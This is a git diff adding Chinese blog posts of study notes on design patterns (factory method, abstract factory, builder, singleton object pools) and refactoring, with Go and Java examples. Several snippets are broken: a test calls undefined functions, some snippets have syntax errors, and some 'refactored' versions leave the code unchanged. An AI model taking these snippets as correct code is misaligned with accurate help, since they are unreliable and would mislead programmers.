`运输` 。 客户端知道所有运输对象都提供 `交付`方法, 但是并不关心其具体实现方式。 + +- **产品(`Prod­uct`) 将会对接口进行声明。 对于所有由创建者及其子类构建的对象, 这些接口都是通用的。** + +- **具体产品** (`Con­crete Prod­ucts`) 是产品接口的不同实现。 + +- **创建者** (`Cre­ator`) 类声明返回产品对象的工厂方法。 该方法的返回对象类型必须与产品接口相匹配。 + +- 可以将工厂方法声明为抽象方法, 强制要求每个子类以不同方式实现该方法。 或者, 也可以在基础工厂方法中返回默认产品类型。 + + 注意, 尽管它的名字是创建者, 但它最主要的职责并**不是**创建产品。 一般来说, 创建者类包含一些与产品相关的核心业务逻辑。 工厂方法将这些逻辑处理从具体产品类中分离出来。 打个比方, 大型软件开发公司拥有程序员培训部门。 但是, 这些公司的主要工作还是编写代码, 而非生产程序员。 + + **具体创建者** (`Con­crete Cre­ators`) 将会重写基础工厂方法, 使其返回不同类型的产品。 + +注意, 并不一定每次调用工厂方法都会**创建**新的实例。 工厂方法也可以返回缓存、 对象池或其他来源的已有对象。 + +以下示例演示了如何使用**工厂方法**开发跨平台 UI (用户界面) 组件, 并同时避免客户代码与具体 UI 类之间的耦合。 + +![工厂方法模式示例结构](https://refactoringguru.cn/images/patterns/diagrams/factory-method/example.png) + +这是一个由执行到创建的过程。 + +通过定义类的执行行为为一个接口A,然后另外一个接口B下面的函数就是负责返回这个接口A(执行行为的接口) + +然后不同的类去实现这个接口B,实现的代码里面就是返回具体的类。 + +``` +//示例如下: +//行为接口 +type Transport interface { + Drive() +} +func (c *RoadLogistics) Drive() { + //todo +} +func (b *SeaLogistics) Drive() { + //todo +} +//创建接口 +type Creater interface{ + CreateTransport() Transport +} +func (c *RoadLogistics) CreateTransport() Transport{ + //todo + return c +} +func (b *SeaLogistics) CreateTransport() Transport { + //todo + return b +} +``` + +## 工厂方法模式适合应用场景 + + 当在编写代码的过程中, 如果**无法预知对象确切类别**及其依赖关系时, 可使用工厂方法。 + + 工厂方法将创建产品的代码与实际使用产品的代码分离, 从而能在**不影响其他代码的情况下扩展产品创建部分代码**。 + +例如, 如果需要向应用中添加一种新产品, 只需要开发新的创建者子类, 然后重写其工厂方法即可。 + + 如果希望用户能扩展软件库或框架的内部组件, 可使用工厂方法。 + + 继承可能是扩展软件库或框架默认行为的最简单方法。 但是当使用子类替代标准组件时, 框架如何辨识出该子类? + +解决方案是将各框架中构造组件的代码集中到单个工厂方法中, 并在继承该组件之外允许任何人对该方法进行重写。 + +让我们看看具体是如何实现的。 假设使用开源 UI 框架编写自己的应用。 希望在应用中使用圆形按钮, 但是原框架仅支持矩形按钮。 可以使用 `圆形按钮`Round­But­ton子类来继承标准的 `按钮`But­ton类。 但是, 需要告诉 `UI框架`UIFrame­work类使用新的子类按钮代替默认按钮。 + +为了实现这个功能, 可以根据基础框架类开发子类 `圆形按钮 UI`UIWith­Round­But­tons , 并且重写其 `cre­ate­But­ton`创建按钮方法。 基类中的该方法返回 `按钮`对象, 而开发的子类返回 `圆形按钮`对象。 现在, 就可以使用 `圆形按钮 UI`类代替 `UI框架`类。 就是这么简单! + + 如果希望复用现有对象来节省系统资源, 而不是每次都重新创建对象, 可使用工厂方法。 + + 在处理大型资源密集型对象 (比如数据库连接、 文件系统和网络资源) 时, 会经常碰到这种资源需求。 + +让我们思考复用现有对象的方法: + +1. 首先, 需要创建存储空间来存放所有已经创建的对象。 +2. 当他人请求一个对象时, 程序将在对象池中搜索可用对象。 +3. … 然后将其返回给客户端代码。 +4. 如果没有可用对象, 程序则创建一个新对象 (并将其添加到对象池中)。 + +这些代码可不少! 而且它们必须位于同一处, 这样才能确保重复代码不会污染程序。 + +可能最显而易见, 也是最方便的方式, 就是将这些代码放置在我们试图重用的对象类的构造函数中。 但是从定义上来讲, 构造函数始终返回的是**新对象**, 其无法返回现有实例。 + +因此, 需要有一个既能够**创建新对象**, 又可以**重用现有对象的普通方法**。 这听上去和工厂方法非常相像。 + +1. 让所有产品都遵循**同一接口**。 该接口必须声明对所有产品都有意义的方法。 + +2. 在创建类中添加一个空的工厂方法。 该方法的**返回**类型必须遵循通用的**产品接口**。 + +3. 在创建者代码中找到对于产品构造函数的所有引用。 将它们依次替换为对于工厂方法的调用, 同时将创建产品的代码移入工厂方法。 + + 可能需要在工厂方法中添加临时参数来控制返回的产品类型。 + + 工厂方法的代码看上去可能非常糟糕。 其中可能会有复杂的 `switch`分支运算符, 用于选择各种需要实例化的产品类。 但是不要担心, 我们很快就会修复这个问题。 + +4. 现在, 为工厂方法中的每种产品编写一个创建者子类, 然后在子类中重写工厂方法, 并将基本方法中的相关创建代码移动到工厂方法中。 + +5. 如果应用中的产品类型太多, 那么为每个产品创建子类并无太大必要, 这时也可以在子类中复用基类中的控制参数。 + + 例如, 设想有以下一些层次结构的类。 基类 `邮件`及其子类 `航空邮件`和 `陆路邮件` ; `运输`及其子类 `飞机`, `卡车`和 `火车` 。 `航空邮件`仅使用 `飞机`对象, 而 `陆路邮件`则会同时使用 `卡车`和 `火车`对象。 可以编写一个新的子类 (例如 `火车邮件` ) 来处理这两种情况, 但是还有其他可选的方案。 客户端代码可以给 `陆路邮件`类传递一个参数, 用于控制其希望获得的产品。 + +6. 如果代码经过上述移动后, 基础工厂方法中已经没有任何代码, 可以将其转变为抽象类。 如果基础工厂方法中还有其他语句, 可以将其设置为该方法的默认行为。 \ No newline at end of file diff --git a/_posts/2022-08-28-test-markdown.md b/_posts/2022-08-28-test-markdown.md new file mode 100644 index 000000000000..5e48cea18816 --- /dev/null +++ b/_posts/2022-08-28-test-markdown.md @@ -0,0 +1,366 @@ +--- +layout: post +title: 工厂方法模式(Factory Method Pattern)与复杂对象的初始化 +subtitle: 将对象创建的逻辑封装起来,为使用者提供一个简单易用的对象创建接口 +tags: [Microservices gateway ] +--- +## 工厂方法模式(Factory Method Pattern)与复杂对象的初始化 + +### 注意事项: + +- (1)工厂方法模式跟上一节讨论的建造者模式类似,都是**将对象创建的逻辑封装起来,为使用者提供一个简单易用的对象创建接口**。两者在应用场景上稍有区别,建造者模式更常用于需要传递多个参数来进行实例化的场景。 +- (2)**代码可读性更好**。相比于使用C++/Java中的构造函数,或者Go中的`{}`来创建对象,工厂方法因为可以通过函数名来表达代码含义,从而具备更好的可读性。比如,使用工厂方法`productA := CreateProductA()`创建一个`ProductA`对象,比直接使用`productA := ProductA{}`的可读性要好 +- (3)**与使用者代码解耦**。很多情况下,对象的创建往往是一个容易变化的点,通过工厂方法来封装对象的创建过程,可以在创建逻辑变更时,避免**霰弹式修改** + +### 实现方式: + +- 工厂方法模式也有两种实现方式: +- (1)提供一个工厂对象,通过调用工厂对象的工厂方法来创建产品对象; +- (2)将工厂方法集成到产品对象中(C++/Java中对象的`static`方法,Go中同一`package`下的函数 + +``` +package aranatest + +type Type uint8 + +// 事件类型定义 +const ( + Start Type = iota + End +) + +// 事件抽象接口 +type Event interface { + EventType() Type + Content() string +} + +// 开始事件,实现了Event接口 +type StartEvent struct { + content string +} + +func (s *StartEvent) EventType() Type { + return Start +} +func (s *StartEvent) Content() string { + return "start" +} + +// 结束事件,实现了Event接口 +type EndEvent struct { + content string +} + +func (s *EndEvent) EventType() Type { + return End +} + +func (s *EndEvent) Content() string { + return "end" + +} + +type factroy struct { +} + +func (f *factroy) Create(b Type) Event { + switch b { + case Start: + return &StartEvent{} + case End: + return &EndEvent{} + default: + return nil + } + +} + +``` + +- 工厂方法首先知道所有的产品类型,并且每个产品需要一个属性需要来标志,而且所有的产品需要统一返回一个接口类型,并且这些产品都需要实现这个接口,这个接口下面肯定有一个方法来获取产品的类型的参数。 + + + +- 另外一种实现方法是:给每种类型提供一个工厂方法 + +``` +package aranatest + +type Type uint8 + +// 事件类型定义 +const ( + Start Type = iota + End +) + +// 事件抽象接口 +type Event interface { + EventType() Type + Content() string +} + +// 开始事件,实现了Event接口 +type StartEvent struct { + content string +} + +func (s *StartEvent) EventType() Type { + return Start +} +func (s *StartEvent) Content() string { + return "start" +} + +// 结束事件,实现了Event接口 +type EndEvent struct { + content string +} + +func (s *EndEvent) EventType() Type { + return End +} + +func (s *EndEvent) Content() string { + return "end" + +} + +type factroy struct { +} + +func (f *factroy) Create(b Type) Event { + switch b { + case Start: + return &StartEvent{} + case End: + return &EndEvent{} + default: + return nil + } + +} + +``` + +``` +package aranatest + +import "testing" + +func TestProduct(t *testing.T) { + s := OfStart() + if s.GetContent() != "start" { + t.Errorf("get%s want %s", s.GetContent(), "start") + } + + e := OfEnd() + if e.GetContent() != "end" { + t.Errorf("get%s want %s", e.GetContent(), "end") + } + +} + +``` + + + +## 抽象工厂模式 和 单一职责原则的矛盾 + +> 抽象工厂模式通过给工厂类新增一个抽象层解决了该问题,如上图所示,`FactoryA`和`FactoryB`都实现·抽象工厂接口,分别用于创建`ProductA`和`ProductB`。如果后续新增了`ProductC`,只需新增一个`FactoryC`即可,无需修改原有的代码;因为每个工厂只负责创建一个产品,因此也遵循了**单一职责原则**。 + +考虑需要如下一个插件架构风格的消息处理系统,`pipeline`是消息处理的管道,其中包含了`input`、`filter`和`output`三个插件。我们需要实现根据配置来创建`pipeline` ,加载插件过程的实现非常适合使用工厂模式,其中`input`、`filter`和`output`三类插件的创建使用抽象工厂模式,而`pipeline`的创建则使用工厂方法模式。 + +### 抽象工厂模式和工厂方法的使用情景 + +``` +package main + +import ( + "fmt" + "reflect" + "strings" +) + +type factoryType int + +type Factory interface { + CreateSpecificPlugin(cfg string) Plugin +} + +//工厂来源 +var factorys = map[factoryType]Factory{ + 1: &InputFactory{}, + 2: &FilterFactory{}, + 3: &OutputFactory{}, +} + +type AbstructFactory struct { +} + +func (a *AbstructFactory) CreateSpecificFactory(t factoryType) Factory { + return factorys[t] +} + +type Plugin interface { +} + +//----------------------------------------- +//input 创建来源 +var ( + inputNames = make(map[string]reflect.Type) +) + +func inputNamesInit() { + inputNames["hello"] = reflect.TypeOf(HelloInput{}) + inputNames["hello"] = reflect.TypeOf(DataInput{}) +} + +type InputFactory struct { +} + +func (i *InputFactory) CreateSpecificPlugin(cfg string) Plugin { + t, _ := inputNames[cfg] + return reflect.New(t).Interface().(Plugin) + +} + +//存储这两个插件的接口 +type Input interface { + Plugin + Input() string +} + +//具体插件 +type HelloInput struct { +} + +func (h *HelloInput) Input() string { + return "msg:hello" +} + +type DataInput struct { +} + +func (d *DataInput) Input() string { + return "msg:data" +} + +//--------------------------- +//filter 创建来源 +var ( + filterNames = make(map[string]reflect.Type) +) + +func filterNamesInit() { + filterNames["upper"] = reflect.TypeOf(UpperFilter{}) + filterNames["lower"] = reflect.TypeOf(LowerFilter{}) +} + +type FilterFactory struct { +} + +func (f *FilterFactory) CreateSpecificPlugin(cfg string) Plugin { + t, _ := filterNames[cfg] + return reflect.New(t).Interface().(Plugin) +} + +//存储这两个插件的接口 +type Filter interface { + Plugin + Process(msg string) string +} + +//具体插件 +type UpperFilter struct { +} + +func (u *UpperFilter) Process(msg string) string { + return strings.ToUpper(msg) +} + +type LowerFilter struct { +} + +func (l *LowerFilter) Process(msg string) string { + return strings.ToLower(msg) +} + +//------------------------------------------ +//outPut 创建来源 +var ( + outputNames = make(map[string]reflect.Type) +) + +func outPutNamesInit() { + outputNames["console"] = reflect.TypeOf(ConsoleOutput{}) + outputNames["file"] = reflect.TypeOf(FileOutput{}) + +} + +type OutputFactory struct { +} + +func (o *OutputFactory) CreateSpecificPlugin(cfg string) Plugin { + t, _ := outputNames[cfg] + return reflect.New(t).Interface().(Plugin) +} + +//存储这两个插件的接口 +type Output interface { + Plugin + Send(msg string) +} + +//具体插件 +type ConsoleOutput struct { +} + +func (c *ConsoleOutput) Send(msg string) { + fmt.Println(msg, " has been send to Console") +} + +type FileOutput struct { +} + +func (c *FileOutput) Send(msg string) { + fmt.Println(msg, " has been send File") +} + +//管道 +type PipeLine struct { + Input Input + Filter Filter + Output Output +} + +func (p *PipeLine) Exec() { + msg := p.Input.Input() + processedMsg := p.Filter.Process(msg) + p.Output.Send(processedMsg) +} + +func main() { + inputNamesInit() + outPutNamesInit() + filterNamesInit() + + //创建最顶层的抽象总工厂 + a := AbstructFactory{} + inputfactory := a.CreateSpecificFactory(1) + filterfactory := a.CreateSpecificFactory(2) + outputfactory := a.CreateSpecificFactory(3) + inputPlugin := inputfactory.CreateSpecificPlugin("hello") + filterPlugin := filterfactory.CreateSpecificPlugin("upper") + outputPlugin := outputfactory.CreateSpecificPlugin("console") + p := PipeLine{ + Input: inputPlugin.(Input), + Filter: filterPlugin.(Filter), + Output: outputPlugin.(Output), + } + p.Exec() +} + +``` + diff --git a/_posts/2022-09-01-test-markdown.md b/_posts/2022-09-01-test-markdown.md new file mode 100644 index 000000000000..47de4eb39c47 --- /dev/null +++ b/_posts/2022-09-01-test-markdown.md @@ -0,0 +1,57 @@ +--- +layout: post +title: 关于代码重构 +subtitle: 大部分重构都致力于正确组合方法。在大多数情况下,过长的方法是万恶这些方法中的代码变幻莫测,执行逻辑并使该方法极难理解 甚至更难改变。一些重构技术简化了方法,消除了代码重复,并为未来铺平了道路 +tags: [设计模式 ] +--- + +# 关于代码重构 + +大部分重构都致力于正确组合方法。在大多数情况下,过长的方法是万恶这些方法中的代码变幻莫测,执行逻辑并使该方法极难理解 甚至更难改变。一些重构技术简化了方法,消除了代码重复,并为未来铺平了道路 + +### 1.提取方法 + +> 问题:有一个可以分组的代码片段吗? + +解决方案:将此代码移至单独的新方法(或函数),并用对该方法的调用替换旧代码。 + +### 2.内联方法 + +> 问题:当**方法体**比方法本身简单,请使用此技术。 + +解决方案:用方法的**内容**替换对方法的**调用**,并删除方法。 + +### 3.提取变量 + +> 问题:有一个难以理解的表达方式。 + +解决方案:将表达式的结果或其部分放在不言自明的单独变量中 + +### 4. 内联温度 + +> 问题:您有一个临时变量,它分配了一个简单表达式的结果,仅此而已 + +### 5.用查询替换 Temp + +> 问题:您将表达式的结果放在局部变量中以供以后在代码中使用。 + +解决方案:将整个表达式移动到一个单独的方法中并从中返回结果。查询方法而不是使用变量。如有必要,将新方法合并到其他方法中。 + +### 6. 拆分临时变量 + +> 问题:您有一个用于存储 var 的局部变量 + +解决方案:对不同的值使用不同的变量。每个变量应该只负责一件特定的事情。 + +### 7.删除分配给参数 + +> 问题:一些值被分配给方法体内的参数。 + +解决方案:使用局部变量而不是参数。 + +### 8. 用方法对象替换方法 + +> 问题:您有一个很长的方法,其中局部变量如此交织在一起,以至于您无法应用提取方法。 + +解决方案:将方法转换为单独的类,使局部变量成为类的字段。然后,您可以将该方法拆分为同一类中的多个方法。 + diff --git a/_posts/2022-09-02-test-markdown.md b/_posts/2022-09-02-test-markdown.md new file mode 100644 index 000000000000..fd96547c1c8e --- /dev/null +++ b/_posts/2022-09-02-test-markdown.md @@ -0,0 +1,223 @@ +--- +layout: post +title: 建造者模式(Builder Pattern) 与复杂对象的实例化 +subtitle: 注意事项 +tags: [设计模式] +--- + +## 建造者模式(Builder Pattern) 与复杂对象的实例化 + +###### 注意事项: + +- (1)**复杂的对象,其中有很多成员属性,甚至嵌套着多个复杂的对象。这种情况下,创建这个复杂对象就会变得很繁琐。对于C++/Java而言,最常见的表现就是构造函数有着长长的参数列表** + + ``` + type Car struct{ + Tire Tire + SteeringWheel SteeringWheel + Body Body + } + + //轮胎 + type Tire struct{ + Size int + Model string + } + + //方向盘 + type SteeringWheel struct{ + Price int + } + + //车身 + type Body struct{ + Collor string + } + //多层的嵌套实例化 + func main(){ + car:= Car{ + Tire :Tire { + }, + SteeringWheel :SteeringWheel{ + + } + Body :Body { + + } + } + } + ``` + + **对对象使用者不友好**,使用者在创建对象时需要知道的细节太多 + + **代码可读性很差**。 + + + +- (2)建造者模式的作用有: + + - 1、封装复杂对象的创建过程,使对象使用者不感知复杂的创建逻辑。 + + - 2、可以一步步按照顺序对成员进行赋值,或者创建嵌套对象,并最终完成目标对象的创建。 + + - 3、对多个对象复用同样的对象创建逻辑。 + + 其中,第1和第2点比较常用,下面对建造者模式的实现也主要是针对这两点进行示例。 + + ``` + package main + + type Message struct { + Header *Header + Body *Body + } + + type Header struct { + SrcAddr string + SrcPort uint64 + DestAddr string + DestPort uint64 + Items map[string]string + } + + type Body struct { + Items []string + } + + func main(){ + message := msg.Message{ + Header: &msg.Header{ + SrcAddr: "192.168.0.1", + SrcPort: 1234, + DestAddr: "192.168.0.2", + DestPort: 8080, + } + Items: make(map[string]string), + }, + Body: &msg.Body{ + Items: make([]string, 0), + }, + + } + + ``` + + ``` + package aranatest + + import ( + "sync" + ) + + type InterNetMessage struct { + Header *Header + Body *Body + } + + type Header struct { + SrcAddr string + SrcPort uint64 + DestAddr string + DestPort uint64 + Items map[string]string + } + + type Body struct { + Items []string + } + + func GetMessuage() *InterNetMessage { + return GetBuilder(). + WithSrcAddr("192.168.0.1"). + WithSrcPort(1234). + WithDestAddr("192.168.0.2"). + WithDestPort(8080). + WithHeaderItem("contents", "application/json"). + WithBodyItem("record1"). + WithBodyItem("record2").Build() + + } + + type builder struct { + once *sync.Once + msg *InterNetMessage + } + + func GetBuilder() *builder { + return &builder{ + once: &sync.Once{}, + msg: &InterNetMessage{ + Header: &Header{}, + Body: &Body{}, + }, + } + } + + func (b *builder) WithSrcAddr(addr string) *builder { + b.msg.Header.SrcAddr = addr + return b + } + + func (b *builder) WithSrcPort(port uint64) *builder { + b.msg.Header.SrcPort = port + return b + + } + + func (b *builder) WithDestAddr(addr string) *builder { + b.msg.Header.DestAddr = addr + return b + } + + func (b *builder) WithDestPort(port uint64) *builder { + b.msg.Header.DestPort = port + return b + } + + func (b *builder) WithHeaderItem(key, value string) *builder { + // 保证map只初始化一次 + b.once.Do(func() { + b.msg.Header.Items = make(map[string]string) + }) + b.msg.Header.Items[key] = value + return b + } + + func (b *builder) WithBodyItem(record string) *builder { + // 保证map只初始化一次 + b.msg.Body.Items = append(b.msg.Body.Items, record) + return b + } + + func (b *builder) Build() *InterNetMessage { + return b.msg + } + + ``` + + 测试文件 + + ``` + package aranatest + + import ( + "strings" + "testing" + ) + + func TestGetInternetMessage(t *testing.T) { + array := []string{ + "record1", + "record2", + } + for k, v := range GetMessuage().Body.Items { + if strings.Compare(v, array[k]) != 0 { + t.Errorf("get:%s,want:%s", v, array[k]) + } + } + } + + ``` + + + diff --git a/_posts/2022-09-04-test-markdown.md b/_posts/2022-09-04-test-markdown.md new file mode 100644 index 000000000000..e3397df8796e --- /dev/null +++ b/_posts/2022-09-04-test-markdown.md @@ -0,0 +1,277 @@ +--- +layout: post +title: 单例模式 ——对象池技术 +subtitle: 注意事项: +tags: [设计模式] +--- + +### 单例模式 ——对象池技术 + +#### 注意事项: + +- (1)**限制调用者直接实例化该对象** + + 利用 Go 语言`package`的访问规则来实现,将单例结构体设计成首字母小写,就能限定其访问范围只在当前 package 下,模拟了 C++/Java 中的私有构造函数。 + +- (2)**为该对象的单例提供一个全局唯一的访问方法**。 + + 当前`package`下实现一个首字母大写的访问函数,就相当于`static`方法的作用了。 + +- (3)**频繁的创建和销毁一则消耗 CPU,二则内存的利用率也不高,通常我们都会使用对象池技术来进行优化** + +- (4)**实现一个消息对象池,因为是全局的中心点,管理所有的 Message 实例,所以消息对象池就是一个单例** + +``` +package aranatest + +import ( + "sync" +) + +// 消息池 +type messagePool struct { + pool *sync.Pool +} + +var msgPool = &messagePool{ + pool: &sync.Pool{ + New: func() interface{} { + + return Message{ + Content: "", + } + }, + }, +} + +func Instance() *messagePool { + return msgPool +} + +func (m *messagePool) AddMessage(msg *Message) { + m.pool.Put(msg) +} + +func (m *messagePool) GetMessuage() *Message { + result := m.pool.Get() + if k, ok := result.(*Message); ok { + return k + } else { + return nil + } +} + +type Message struct { + Content string +} + +``` + +``` +package aranatest + +import ( + "testing" +) + +type data struct { + in *Message + out *Message +} + +var dataArray = []data{ + { + in: &Message{ + Content: "msg1", + }, + out: &Message{ + Content: "msg1", + }, + }, + + { + in: &Message{ + Content: "msg2", + }, + out: &Message{ + Content: "msg2", + }, + }, + + { + in: &Message{ + Content: "msg3", + }, + out: &Message{ + Content: "msg3", + }, + }, + { + in: &Message{ + Content: "msg4", + }, + out: &Message{ + Content: "msg4", + }, + }, + { + in: &Message{ + Content: "msg5", + }, + out: &Message{ + Content: "msg5", + }, + }, + { + in: &Message{ + Content: "msg6", + }, + out: &Message{ + Content: "msg6", + }, + }, +} + +func TestMsgPool(t *testing.T) { + for _, v := range dataArray { + t.Run(v.in.Content, func(t *testing.T) { + msgPool.AddMessage(v.in) + if msgPool.GetMessuage().Content != v.in.Content { + t.Errorf("get %s want %s", msgPool.GetMessuage().Content, v.out.Content) + } + }) + } +} + +``` + +以上的单例模式就是典型的“**饿汉模式**”,实例在系统加载的时候就已经完成了初始化。 + +对应地,还有一种“**懒汉模式**”,只有等到对象被使用的时候,才会去初始化它,从而一定程度上节省了内存。众所周知,“懒汉模式”会带来线程安全问题,可以通过**普通加锁**,或者更高效的**双重检验锁**来优化。对于“懒汉模式”,Go 语言有一个更优雅的实现方式,那就是利用`sync.Once`,它有一个`Do`方法,其入参是一个方法,Go 语言会保证仅仅只调用一次该方法。 + +``` +package aranatest + +import ( + "sync" +) + +// 消息池 +type messagePool struct { + pool *sync.Pool + sync + +} + +var msgPool = &messagePool{ + pool: &sync.Pool{ + New: func() interface{} { + + return Message{ + Content: "", + } + }, + }, +} + +func Instance() *messagePool { + return msgPool +} + +func (m *messagePool) AddMessage(msg *Message) { + m.pool.Put(msg) +} + +func (m *messagePool) GetMessuage() *Message { + result := m.pool.Get() + if k, ok := result.(*Message); ok { + return k + } else { + return nil + } +} + +type Message struct { + Content string +} + +``` + +``` +package aranatest + +import ( + "testing" +) + +type data struct { + in *Message + out *Message +} + +var dataArray = []data{ + { + in: &Message{ + Content: "msg1", + }, + out: &Message{ + Content: "msg1", + }, + }, + + { + in: &Message{ + Content: "msg2", + }, + out: &Message{ + Content: "msg2", + }, + }, + + { + in: &Message{ + Content: "msg3", + }, + out: &Message{ + Content: "msg3", + }, + }, + { + in: &Message{ + Content: "msg4", + }, + out: &Message{ + Content: "msg4", + }, + }, + { + in: &Message{ + Content: "msg5", + }, + out: &Message{ + Content: "msg5", + }, + }, + { + in: &Message{ + Content: "msg6", + }, + out: &Message{ + Content: "msg6", + }, + }, +} + +func TestMsgPool(t *testing.T) { + msgPool = Instance() + for _, v := range dataArray { + t.Run(v.in.Content, func(t *testing.T) { + msgPool.AddMessage(v.in) + if msgPool.GetMessuage().Content != v.in.Content { + t.Errorf("get %s want %s", msgPool.GetMessuage().Content, v.out.Content) + } + }) + } +} + +``` diff --git a/_posts/2022-09-05-test-markdown.md b/_posts/2022-09-05-test-markdown.md new file mode 100644 index 000000000000..86186d04b77e --- /dev/null +++ b/_posts/2022-09-05-test-markdown.md @@ -0,0 +1,962 @@ +--- +layout: post +title: 重构代码 +subtitle: Composing Methods +tags: [重构] +--- + +# 重构代码 + +## Composing Methods + +> 大部分重构都致力于正确组合方法。在大多数情况下,过长的方法是一切邪恶。这些方法中的代码变幻莫测 +> 执行逻辑并使该方法极难理解——甚至更难改变。该组中的重构技术简化了方法**删除代码。** + +#### `提取方法` + +``` +func printOwing() { + printBanner() + // Print details. + fmt.Println("name: " + name); + fmt.Println("amount: " + getOutstanding()); + +} + +func printOwing() { + printBanner() + // Print details. + printDetails(getOutstanding()) + +} +void printDetails(outstanding int, name int) { + System.out.println("name: " + name); + System.out.println("amount: " + outstanding) +} +``` + +解决方案: +将此代码移动到单独的新方法(或函数)和用对方法的调用替换旧代码 + +为什么要重构? +在方法中找到的行越多,就越难弄清楚该方法的作用。这是造成这种情况的 + +主要原因:重构 +除了消除代码中的粗糙边缘之外,提取方法也是许多其他重构方法中的一个步骤。 + +好处: +更易读的代码! + +如何重构? + +创建一个新方法,并以使其纯粹的方式命名。 + +### `Inline Method` + +``` +class PizzaDelivery { + // ... + int getRating() { + return moreThanFiveLateDeliveries() ? 2 : 1; + } + boolean moreThanFiveLateDeliveries() { + return numberOfLateDeliveries > 5; + } +} +``` + +``` +class PizzaDelivery { + // ... + int getRating() { + return numberOfLateDeliveries > 5 ? 2 : 1 + } + boolean moreThanFiveLateDeliveries() { + return numberOfLateDeliveries > 5; + } +} +``` + +1. Make sure that the method isn’t redefined in subclasses. If the +method is redefined, refrain from this technique. +2. Find all calls to the method. Replace these calls with the con- +tent of the method. +3. Delete the method. + +### `Inline Temp` + +``` + +boolean hasDiscount(Order order) { + double basePrice = order.basePrice(); + return basePrice > 1000; +} + +``` + +``` +boolean hasDiscount(Order order) { + return order.basePrice()> 1000; +} +``` + +### `Replace Temp with Query` + +``` +double calculateTotal() { + double basePrice = quantity * itemPrice; + if (basePrice > 1000) { + return basePrice * 0.95; + } else { + return basePrice * 0.98; + } +} +``` + +``` +double calculateTotal() { + double basePrice = quantity * itemPrice; + if (basePrice > 1000) { + return basePrice * 0.95; + } else { + return basePrice * 0.98; + } +} +double basePrice(){ + return quantity * itemPrice; +} +``` + +### `Split Temporary Variable` + +``` +double temp = 2 * (height + width); +System.out.println(temp); +temp = height * width; +System.out.println(temp); +``` + +``` +final double perimeter = 2 * (height + width); +System.out.println(temp); +final double area= height * width; +System.out.println(temp); +``` + +### `Remove Assignments to Parameters` + +``` +int discount(int inputVal, int quantity) { + if (inputVal > 50) { + inputVal -= 2; + } +} +``` + +``` +int discount(int inputVal, int quantity) { + int result = inputVal + if (inputVal > 50) { + result -= 2; + } +} +``` + +### `Replace Methodnwith Method Object` + +``` +class Order { + // ... + public double price() { + double primaryBasePrice; + double secondaryBasePrice; + double tertiaryBasePrice; + // Perform long computation. + + } +} +``` + +``` +//订单的价格有多种算法 +class Order { + // ... + public double price() { + return new PriceCalculator(this).compute() + + } +} +class PriceCalculator{ + double primaryBasePrice; + double secondaryBasePrice; + double tertiaryBasePrice; + // Perform long computation. + public PriceCalculator(Order order){ + //todo + } + public double compute() { + //todo + } +} +``` + +### `Substitute Algorithm` + +``` +String foundPerson(String[] people){ + for (int i = 0; i < people.length; i++) { + if (people[i].equals("Don")){ + return "Don" + } + if (people[i].equals("John")){ + return "John" + } + if (people[i].equals("John")){ + return "John" + } + } + return ""; +} +``` + +``` +String foundPerson(String[] people){ + List candidates = Arrays.asList(new String[] {"Don", "John", "Kent"}); + for (int i = 0; i < people.length; i++) { + if (candidates.contains(people[i])){ + return people[i] + } + } +} +``` + +## `Moving Features between Objects` + +> 这些重构技术展示了如何安全地移动函数类,创建新类,并隐藏实现公开访问的详细信息。 + +- 问题: + + 一个方法在另一个类中的使用比在它的类中使用的多自己的班级。 + +- 解决方案: + + 在类中创建一个新方法,使用方法最多,然后将代码从旧方法移到那里。将原始方法的代码转换为对另一个类中新方 + 法的引用,否则将其完全删除。 + +- 问题:一个字段在另一个类中的使用比在它的类中更多自己的班级。 + +- 解决方案: + + 在一个新类中创建一个字段并重定向所有用户 + + ``` + type Person struct{ + name string + officeAreaCode string + officeNumber string + } + ``` + + ``` + type Person struct{ + name string + phone TelephoneNumber + } + type TelephoneNumber struct{ + officeAreaCode string + officeNumber string + } + ``` + +- 问题:当一个班级做两个班级的工作时,尴尬 + +- 解决方案: + 相反,创建一个新类并将负责相关功能的字段和方法放入其中 + +- 问题:一个类几乎什么都不做,也不对任何事情负责,也没有为它计划额外的责任 + +- 解决方案: + + 将所有功能从类移到另一个。 + +- 问题:客户端从对象 А 的字段或方法中获取对象 B。然后客户端调用对象 B 的一个方法。 + +- 解决方案: + + 在 A 类中创建一个新方法,将调用委托给对象 B。现在客户端不知道或不依赖于 B 类。 + +- 问题:一个类有太多简单地委托给其他对象的方法。 + +- 解决办法: + + 删除这些方法,强制客户端直接调用方法。创建一个getter 用于从服务器类对象。.用直接调用委托类中的方法替换对服务器类中委托方法的调用。 + +- 问题: + 实用程序类不包含您需要的方法,并且您不能将该方法添加到类中。 + +- 解决方案: + 将方法添加到客户端类并传递实用程序类将其作为参数。 + + ``` + class Report { + // ... + void sendReport() { + Date nextDay = new Date( + previousEnd.getYear(), + previousEnd.getMonth(), + previousEnd.getDate() + 1 + ); + // ... + } + } + ``` + + ``` + class Report { + // ... + void sendReport() { + Date newStart = nextDay(previousEnd); + // ... + } + private static Date nextDay(Date arg){ + return new Date(arg.getYear(), arg.getMonth(), arg.getDate() + 1) + } + } + ``` + +#### 组织数据 + +> 类关联的解开,这使得类更便携和可重用 + +- 自封装字段 + + > 问题: + > 您使用对类中私有字段的直接访问。 + > 解决方案: + > 为该字段创建一个 getter 和 setter,并仅使用它们来访问该字段。 + +- 用对象替换数据值 + + > 问题: + > + > 一个类(或一组类)包含一个数据字段。该字段有自己的行为和相关数据。 + > + > 解决方法: + > 新建一个类,将旧的字段及其行为放在类中,将类的对象存放在原来的类中。 + +- 将值更改为参考 + + > + > 问题: + > 您需要用单个对象替换单个类的许多相同实例。 + > 解决方案: + > 将相同的对象转换为单个参考对象 + +- 更改对值的引用 + + > 问题: + > 您有一个参考对象太小且很少更改,无法证明管理其生命周期是合理的。 + > 解决方案: + > 把它变成一个值对象。 + +- 用对象替换数组 + + > 问题: + > 您有一个包含各种类型数据的数组。 + > 解决方案: + > 将数组替换为每个元素都有单独的速率字段的对象 + +- 重复观测数据 + + > 问题: + > 域数据是否存储? + > 解决方案: + > 那么最好将数据分离到单独的类中,确保连接和同步 + +- 将单向关联更改为双向 + + > 问题: + > 有两个类,每个类都需要使用彼此的关系,但它们之间的关联只是单向的。 + > + > 解决方案: + > 将缺少的关联添加到需要它的类中。 + +- 将双向关联更改为单向 + + > 有一个类之间的双向关联,es,但是其中一个类不使用另一个类的功能。 + +- 用符号常数替换幻数 + + > 问题: + > 您的代码使用了一个具有特定含义的数字。 + > 解决方案: + > 将此数字替换为具有人类可读名称的常量,以解释数字的含义。 